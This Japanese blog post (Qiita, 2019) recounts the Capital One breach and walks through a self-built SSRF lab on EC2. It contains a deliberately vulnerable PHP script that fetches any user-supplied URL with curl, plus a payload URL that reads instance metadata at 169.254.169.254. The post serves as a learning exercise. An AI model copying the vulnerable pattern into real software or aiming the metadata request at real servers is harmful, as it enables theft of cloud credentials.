2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

hands on SSRF(Server Side Request Forgery)

Last updated at Posted at 2019-11-17

#OWASP Nagoya
Little Deep Dive AWS Security
by 田中隆博 氏
AWS Solutions Architect
ラーメン好き

テーマ
Capital One で発生した情報漏洩事象を題材に、Server Side Request Forgeryを利用したクラウド上のメタ情報の窃取手法について

Capital Oneの漏洩事例

Slack Channel へ投稿

I’ve basically strapped myself with a bomb vest, f—ing dropping Capital One dox and admitting it. I wanna distribute those buckets …There’s SSNs..with full name and [date of birth].
Paige A. Thompson

・・・そして発覚
2005年から2019年にかけてクレジットカードの申請をした人など、1億600万人分の個人情報が不正アクセスをうけた事が判明。

[Matt Forbes - 'Mad About You' ]
(https://youtu.be/gl9RNFALTgw)が流れてきそうですね♪

##Let's hands on
SSRF・・・何やら面白そう、なので実際試してみようと思います。

PoC(proof of concept)
目標はEC2のクレデンシャルを読み込んで、ブラウザへ不正に表示させます。・・・現時点でクレデンシャルが取れないので代わりにOpen SSH Public keyを取得しました。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=http://169.254.169.254/latest/meta-data//public-keys/0/openssh-key

image.png

なお、PHPのcurlを悪用するコード元々正当な目的でcurlを利用しているコードを、SSRF攻撃のためにサーバー側で用意したいと思います。徳丸氏のブログから参照しました。

ssrf.php

<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
  1. AWS無料枠だけで構築します。こちらから申し込みます。
    AWS のプラットフォーム、製品、サービスを無料で実際に体験できます。

  2. Webサーバーはnginxとphp-fpmをインストール。
    phpinfoで動作確認します。
    image.png

  3. HTMLPurifierを利用するため、Composerをインストール、バージョンを確認します。

$ composer
   ______
  / ____/___  ____ ___  ____  ____  ________  _____
 / /   / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__  )  __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
                    /_/
Composer version 1.9.1 2019-11-01 17:20:17

先ほどのssrf.phpをnginxのドキュメントルートへ配置したら完成です!

確認のため以下のURLを指定してホームーページを表示したところです。

http://ec2-0-0-0-0.us-east-2.compute.amazonaws.com/ssrf.php?url=https://qualias.net

image.png

AWSの仕様として実行中のインスタンスからインスタンスメタデータが取得できることでPHP curlを使えば、SSRFができることも、何となく分かりました。今日のところは時間切れです。

時間があれば一時的セキュリティ認証情報の使用も試したい。

更に技術的な方法論については、こちらに記載されています。
Riyaz Walikar / An SSRF, privileged AWS keys and the Capital One breach
Ravi Ivaturi / Capital One Security Incident & Key Lessons, so far anyway.

2
3
2

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?